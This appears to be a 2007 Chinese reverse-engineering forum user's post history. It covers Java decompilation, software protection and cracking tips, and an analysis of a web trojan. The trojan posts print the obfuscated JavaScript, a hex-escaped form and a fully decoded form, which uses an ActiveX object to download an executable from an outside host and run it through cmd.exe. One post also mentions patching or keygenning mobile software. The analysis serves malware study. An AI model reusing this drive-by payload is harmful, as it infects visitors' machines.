|
? 漂 亮 MM 最 看 重 的 东 西 ? .... [讨论]
虽然我非常好色,我还是回帖呀 |
|
|
|
[求助]碰到一网马
首先,发现这是一个脚本。 其次,脚本使用了某种加密措施, 同时 该脚本 最终要通过 eval(String) 的方法进行执行 也就是说 可以将 eval 替换成 document.write(String)的方式显示在网页中,因此根本不用研究如何完成初次解密。 也就是生成第 4楼 的代码, 第四楼的代码中所有的字符串都被替换了 同时 Html 脚本有一个特性 就是 obj.obj / .method /.attrib 可以通过 ["key"]的方式替换 生成的代码 如下 window.document -> window["document"]可以用这种方式 因此 通过 将 代码中的 \xHH 十六进制 字符替换成 正常的 字符 之后 就会出现 6 楼 的完整的 网页木马 代码, 木马的代码就不解释了,免得更多人中招 author: vhly[FR] dAte: 2007/0621 |
|
[求助]碰到一网马
完整的代码: 又是 XMLHTTP 又是 Adodb.Stream function gn(UYFbowrD1) { var BkGFsF2 = window["Math"]["random"]()*UYFbowrD1; return'~tmp' + '.tmp' } try { var dl = "http://0001.0168168.cn/0.exe"; var df = window["document"]["createElement"]("object"); df["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x = df["CreateObject"]("Microsoft.X" + "M" + "L" + "H" + "T" + "T" + "P", ""); var PKgzFJuw3 = df["CreateObject"]("Adodb.Stream", ""); PKgzFJuw3["type"] = 1; x["open"]("GET", dl, 0); x["send"](); var fname1 = gn(10000); var rQcRPay4 = df["CreateObject"]("Scripting.FileSystemObject", ""); var tmp = rQcRPay4["GetSpecialFolder"](0); fname1 = rQcRPay4["BuildPath"](tmp, fname1); PKgzFJuw3["Open"](); PKgzFJuw3["Write"](x["responseBody"]); PKgzFJuw3["SaveToFile"](fname1, 2); PKgzFJuw3["Close"](); var tGratf5 = df["CreateObject"]("Shell.Application", ""); var exp1 = rQcRPay4["BuildPath"](tmp + '\\system32', 'cmd.exe'); tGratf5["ShellExecute"](exp1, ' /c ' + fname1, "", "open", 0) } catch(i) { i = 1 } 最开始的解密程序 document.write( function decode(p, a, c, k, e, d) { e = function(c) { return(c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--)d[e(c)] = k[c] || e(c); k = [function(e) { return d[e] }]; e = function() { return'\\w+' }; c = 1; } ; while (c--)if (k[c])p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p; }('Y Q(U){l Z=W["\\M\\9\\4\\s"]["\\a\\9\\e\\c\\7\\h"]()*U;12\'\\11\\4\\h\\d\'+\'\\f\\4\\h\\d\'}10{P=\'\\s\\4\\4\\d\\V\\C\\C\\g\\g\\g\\t\\f\\g\\t\\n\\N\\t\\n\\N\\f\\5\\e\\C\\g\\f\\3\\I\\3\';l r=W["\\c\\7\\5\\w\\h\\3\\e\\4"]["\\5\\a\\3\\9\\4\\3\\z\\6\\3\\h\\3\\e\\4"]("\\7\\j\\q\\3\\5\\4");r["\\b\\3\\4\\v\\4\\4\\a\\8\\j\\w\\4\\3"]("\\5\\6\\9\\b\\b\\8\\c","\\5\\6\\b\\8\\c\\V\\G\\O\\L\\n\\k\\H\\H\\n\\y\\n\\H\\v\\B\\y\\t\\t\\O\\g\\y\\L\\N\\B\\v\\y\\g\\g\\k\\g\\13\\A\\k\\X\\L\\z\\B\\n");l x=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\M\\8\\5\\a\\7\\b\\7\\19\\4\\f\\1a"+"\\M"+"\\1c"+"\\1b"+"\\E"+"\\E"+"\\J","");l o=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\v\\c\\7\\c\\j\\f\\m\\4\\a\\3\\9\\h","");o["\\4\\D\\d\\3"]=1;x["\\7\\d\\3\\e"]("\\R\\z\\E",P,0);x["\\b\\3\\e\\c"]();u=Q(18);l F=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\5\\a\\8\\d\\4\\8\\e\\15\\f\\A\\8\\6\\3\\m\\D\\b\\4\\3\\h\\p\\j\\q\\3\\5\\4","");l K=F["\\R\\3\\4\\m\\d\\3\\5\\8\\9\\6\\A\\7\\6\\c\\3\\a"](0);u=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K,u);o["\\p\\d\\3\\e"]();o["\\14\\a\\8\\4\\3"](x["\\a\\3\\b\\d\\7\\e\\b\\3\\G\\7\\c\\D"]);o["\\m\\9\\17\\3\\E\\7\\A\\8\\6\\3"](u,2);o["\\k\\6\\7\\b\\3"]();l S=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\s\\3\\6\\6\\f\\v\\d\\d\\6\\8\\5\\9\\4\\8\\7\\e","");T=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K+\'\\\\\\b\\D\\b\\4\\3\\h\\B\\X\',\'\\5\\h\\c\\f\\3\\I\\3\');S["\\m\\s\\3\\6\\6\\z\\I\\3\\5\\w\\4\\3"](T,\' \\C\\5 \'+u,"","\\7\\d\\3\\e",0)}16(i){i=1}', 62, 75, '|||x65|x74|x63|x6c|x6f|x69|x61|x72|x73|x64|x70|x6e|x2e|x30|x6d||x62|x43|var|x53|x36|PKgzFJuw3|x4f|x6a|df|x68|x31|fname1|x41|x75||x2d|x45|x46|x33|x2f|x79|x54|rQcRPay4|x42|x35|x78|x50|tmp|x39|x4d|x38|x44|dl|gn|x47|tGratf5|exp1|UYFbowrD1|x3a|window|x32|function|BkGFsF2|try|x7e|return|x34|x57|x67|catch|x76|10000|x66|x58|x48|x4c'.split('|'), 0, {}) ); 使用 document.write()执行显示 第二部分的java解码程序 消除所有字符串的 16进制形式 import java.io.*; public class re{ public static void main(String... args)throws IOException{ FileReader fr = new FileReader(args[0]); BufferedReader br = new BufferedReader(fr); FileWriter fw = new FileWriter(args[1]); PrintWriter pw = new PrintWriter(fw); String data = ""; int index = 0; while((data = br.readLine())!=null){ do{ index = data.indexOf("\\x"); if(index == -1) break; char[] chs = new char[3]; chs[0] = data.charAt(index+2); chs[1] = data.charAt(index+3); if(!Character.isDigit(chs[1]) && !Character.isLetter(chs[1])) chs[1] = '\0'; String s1 = new String(chs).trim(); int ic = Integer.parseInt(s1, 16); char ch = (char)ic; data = data.replace("\\x"+s1,ch+""); }while(index != -1); pw.println(data); } pw.close(); fw.close(); br.close(); fr.close(); } } |
|
[求助]碰到一网马
function gn(UYFbowrD1){var BkGFsF2=window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()*UYFbowrD1;return'\x7e\x74\x6d\x70'+'\x2e\x74\x6d\x70'}try{dl='\x68\x74\x74\x70\x3a\x2f\x2f\x30\x30\x30\x31\x2e\x30\x31\x36\x38\x31\x36\x38\x2e\x63\x6e\x2f\x30\x2e\x65\x78\x65';var df=window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x6f\x62\x6a\x65\x63\x74");df["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]("\x63\x6c\x61\x73\x73\x69\x64","\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36");var x=df["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58"+"\x4d"+"\x4c"+"\x48"+"\x54"+"\x54"+"\x50","");var PKgzFJuw3=df["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d","");PKgzFJuw3["\x74\x79\x70\x65"]=1;x["\x6f\x70\x65\x6e"]("\x47\x45\x54",dl,0);x["\x73\x65\x6e\x64"]();fname1=gn(10000);var rQcRPay4=df["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x63\x72\x69\x70\x74\x69\x6e\x67\x2e\x46\x69\x6c\x65\x53\x79\x73\x74\x65\x6d\x4f\x62\x6a\x65\x63\x74","");var tmp=rQcRPay4["\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72"](0);fname1=rQcRPay4["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](tmp,fname1);PKgzFJuw3["\x4f\x70\x65\x6e"]();PKgzFJuw3["\x57\x72\x69\x74\x65"](x["\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79"]);PKgzFJuw3["\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65"](fname1,2);PKgzFJuw3["\x43\x6c\x6f\x73\x65"]();var tGratf5=df["\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74"]("\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e","");exp1=rQcRPay4["\x42\x75\x69\x6c\x64\x50\x61\x74\x68"](tmp+'\\\x73\x79\x73\x74\x65\x6d\x33\x32','\x63\x6d\x64\x2e\x65\x78\x65');tGratf5["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](exp1,' \x2f\x63 '+fname1,"","\x6f\x70\x65\x6e",0)}catch(i){i=1} |
|
[求助]碰到一网马
/* * EdIT: IntelliJ IDEA6.0 * Refactor by vhly[FR] * Date: 2007/06/20 */ eval( function(script_text, int_1, int_2, array_2, func_1, array_1) { func_1 = function(char_1) { var v1; if (char_1 < int_1) v1 = ""; else v1 = func_1(parseInt(char_1 / int_1)); // var v1 = (char_1<int_1?"":func_1(parseInt(char_1/int_1))); var v2; char_1 = char_1 % int_1; if (char_1 > 35) v2 = String.fromCharCode(char_1 + 29); else v2 = char_1.toString(36); // var v2 = ((char_1 = char_1 % int_1) > 35 ? String.fromCharCode(char_1 + 29) : char_1.toString(36)) return v1 + v2; }; // End function(char_1) if (!''.replace(/^/, String)) { while (int_2--) array_1[func_1(int_2)] = array_2[int_2] || func_1(int_2); array_2 = [function(e) {return array_1[e]}]; func_1 = function() {return '\\w+'}; int_2 = 1; }; // End if(!' '.repl.....){ while (int_2--) if (array_2[int_2]) script_text = script_text.replace(new RegExp('\\b' + func_1(int_2) + '\\b', 'g'),array_2[int_2]); return script_text; } // End function(script_text......) ( 'Y Q(U){l Z=W["\\M\\9\\4\\s"]["\\a\\9\\e\\c\\7\\h"]()*U;12\'\\11\\4\\h\\d\'+\'\\f\\4\\h\\d\'}10{P=\'\\s\\4\\4\\d\\V\\C\\C\\g\\g\\g\\t\\f\\g\\t\\n\\N\\t\\n\\N\\f\\5\\e\\C\\g\\f\\3\\I\\3\';l r=W["\\c\\7\\5\\w\\h\\3\\e\\4"]["\\5\\a\\3\\9\\4\\3\\z\\6\\3\\h\\3\\e\\4"]("\\7\\j\\q\\3\\5\\4");r["\\b\\3\\4\\v\\4\\4\\a\\8\\j\\w\\4\\3"]("\\5\\6\\9\\b\\b\\8\\c","\\5\\6\\b\\8\\c\\V\\G\\O\\L\\n\\k\\H\\H\\n\\y\\n\\H\\v\\B\\y\\t\\t\\O\\g\\y\\L\\N\\B\\v\\y\\g\\g\\k\\g\\13\\A\\k\\X\\L\\z\\B\\n");l x=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\M\\8\\5\\a\\7\\b\\7\\19\\4\\f\\1a"+"\\M"+"\\1c"+"\\1b"+"\\E"+"\\E"+"\\J","");l o=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\v\\c\\7\\c\\j\\f\\m\\4\\a\\3\\9\\h","");o["\\4\\D\\d\\3"]=1;x["\\7\\d\\3\\e"]("\\R\\z\\E",P,0);x["\\b\\3\\e\\c"]();u=Q(18);l F=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\5\\a\\8\\d\\4\\8\\e\\15\\f\\A\\8\\6\\3\\m\\D\\b\\4\\3\\h\\p\\j\\q\\3\\5\\4","");l K=F["\\R\\3\\4\\m\\d\\3\\5\\8\\9\\6\\A\\7\\6\\c\\3\\a"](0);u=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K,u);o["\\p\\d\\3\\e"]();o["\\14\\a\\8\\4\\3"](x["\\a\\3\\b\\d\\7\\e\\b\\3\\G\\7\\c\\D"]);o["\\m\\9\\17\\3\\E\\7\\A\\8\\6\\3"](u,2);o["\\k\\6\\7\\b\\3"]();l S=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\s\\3\\6\\6\\f\\v\\d\\d\\6\\8\\5\\9\\4\\8\\7\\e","");T=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K+\'\\\\\\b\\D\\b\\4\\3\\h\\B\\X\',\'\\5\\h\\c\\f\\3\\I\\3\');S["\\m\\s\\3\\6\\6\\z\\I\\3\\5\\w\\4\\3"](T,\' \\C\\5 \'+u,"","\\7\\d\\3\\e",0)}16(i){i=1}', 62, 75, '|||x65|x74|x63|x6c|x6f|x69|x61|x72|x73|x64|x70|x6e|x2e|x30|x6d||x62|x43|var|x53|x36|PKgzFJuw3|x4f|x6a|df|x68|x31|fname1|x41|x75||x2d|x45|x46|x33|x2f|x79|x54|rQcRPay4|x42|x35|x78|x50|tmp|x39|x4d|x38|x44|dl|gn|x47|tGratf5|exp1|UYFbowrD1|x3a|window|x32|function|BkGFsF2|try|x7e|return|x34|x57|x67|catch|x76|10000|x66|x58|x48|x4c'.split('|'), 0, {} ) ) // End Eval 以上只是简单的将格式列出来,陆续解决 author:vhly[FR] dAte: 2007/06/20 |
|
[求助]逆向分析Java
高兴有了进展,可以将以个类进行反编译,之后使用jar当作classpath进行编译就可以了 |
|
[原创]一个软件的逆向分析日志(一)(二)
今天才看到,不好意思,终于找到工作了,干得就是 Java Reverse Enginee,本来想在看雪 发一篇感谢的文章呢,不过真没时间,一天到晚跟 J2me Browser呢, 感觉你的这个 target 应该使用了 JNI,有一些 核心的东西 应该在 dll库中, 看了上面的 ConstantPool String 发现这个软件中至少一部分使用了 DSA算法, 大概是什么软件,如果使用 OD的话只能使用 JVM跟,那么工作量就太大了,我感觉可以使用 某些工具先把软件中的字符串信息找到,即使是英文的,同样也可以先理解以下, 不过最近开始对Java逆向,感觉多了个朋友了,哥们现在靠这个吃饭了。 还是要感谢一下看雪的各位朋友,没有你们,空拍我还在 Study Java呢,现在却是 Reverse Java 再次感谢。 auThOr: vhly[FR] Date: 2007/05/29 |
|
[求助]大家好,java的程序怎样加密?
可以采用几种方式 1、使用混乱器 将软件进行混乱,之后的代码就很难读懂,增加破解的难度; 2、使用本地可执行文件打包方式,将jar文件添加到exe文件中,由于增加的方式不同,因此有效 3、使用JNI编写核心部分,消除了软件代码的泄漏问题。 4、使用类文件动态装载(加密器)处理 上面四种可以说很好了,但是不是绝对的。只要时间充裕,照样恢复! author: vhly[FR] dATE:2007/05/29 |
|
[求助]一种JAVA语言调用狗
能说明什么? 详细点。试分析数据的生成或者如何构造吗? |
|
[求助]哪位大哥会java?帮帮小弟吧
建议详细的学习一下 Java安全API 这段代码 返回的是一个密钥对,包括公钥和私钥,使用公钥时建议 使用 AsymmetricCipherKeyPair的获取公钥的方法。 |
|
[原创]J2ME游戏 极品香车美女 授权分析
Symbian S60手机软件使用IDA就可以反汇编,通过阅读汇编代码,找到关键点,爆破或者找到注册机,用个十六进制编辑器就可以搞定了。 |
|
[求助]逆向分析Java
一定要注意 异常的堆栈调用方式,虽然是写文件,但是也有一种可能是在别的地方出现了异常,一定要处理好异常的层次,你再试试。要不写出异常的层次,让我们看吓 |
|
[求助]看雪的教程有病毒吗?
关于教程,如果你下载国外的教程,同样也会提示,因为杀毒软件还无法正常的确定, 加壳后的软件和病毒有什么区别,我使用KeyMaker生成的Loader经常被提示有病毒, 后来索性把杀毒软件山了。 其实如果你的能力够强,有病毒照样调试了。 |
|
[求助]这个js文件怎么解密?
nnhy 在搞什么? Java CRacK 还是 PE/ASM 这几天常见,有什么问题大家磋商, 有什么Java软件 帮学么点,不然手都生了 最近忙找工作 不经常上了。 |
|
[求助]逆向分析Java
代码如下: public void save(byte abyte0[], byte abyte1[]) throws IOException { FileOutputStream fileoutputstream = new FileOutputStream(filename); ObjectOutputStream objectoutputstream = new ObjectOutputStream(fileoutputstream); objectoutputstream.writeObject(abyte0); objectoutputstream.writeObject(abyte1); fileoutputstream.close(); break MISSING_BLOCK_LABEL_49; Exception exception; exception; fileoutputstream.close(); throw exception; } 还以为是什么嫩 就是简单的异常处理,不用惊慌 public void save(byte abyte0[], byte abyte1[]) throws IOException { FileOutputStream fileoutputstream = null; ObjectOutputStream objectoutputstream = null; try{ fileoutputstream=new FileOutputStream(filename); objectoutputstream=new ObjectOutputStream(fileoutputstream); objectoutputstream.writeObject(abyte0); objectoutputstream.writeObject(abyte1); fileoutputstream.close(); }catch(Exception exception){ try{ fileoutputstream.close(); }catch(Exception e){ System.err.println("Shit Why happend Exception"); } } } 关于上面代码的处理可以猜到。 你的数据信息通过 对象序列化I/O了。 重要的是 abyte0 和 abyte1两个数组的内容,我也经发邮件给你关于 break MISSING_LABEL_xxx 的原因。就不写下了。 给你提的意见: 1、不用研究文件的存储格式,因为是使用对象序列化的,标准的,可以使用对象输入输出流处理。 2、详细的分析 abyte0、abyte1的生成、数据格式 目前就这么些,如果有进展可以继续。 最好对反编译后的代码 处理一下 比如 fileoutputstream -> fout 这样可以免去他人在回复时 的换行的烦恼 author: vhly[FR] Date: 2007/05/10 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值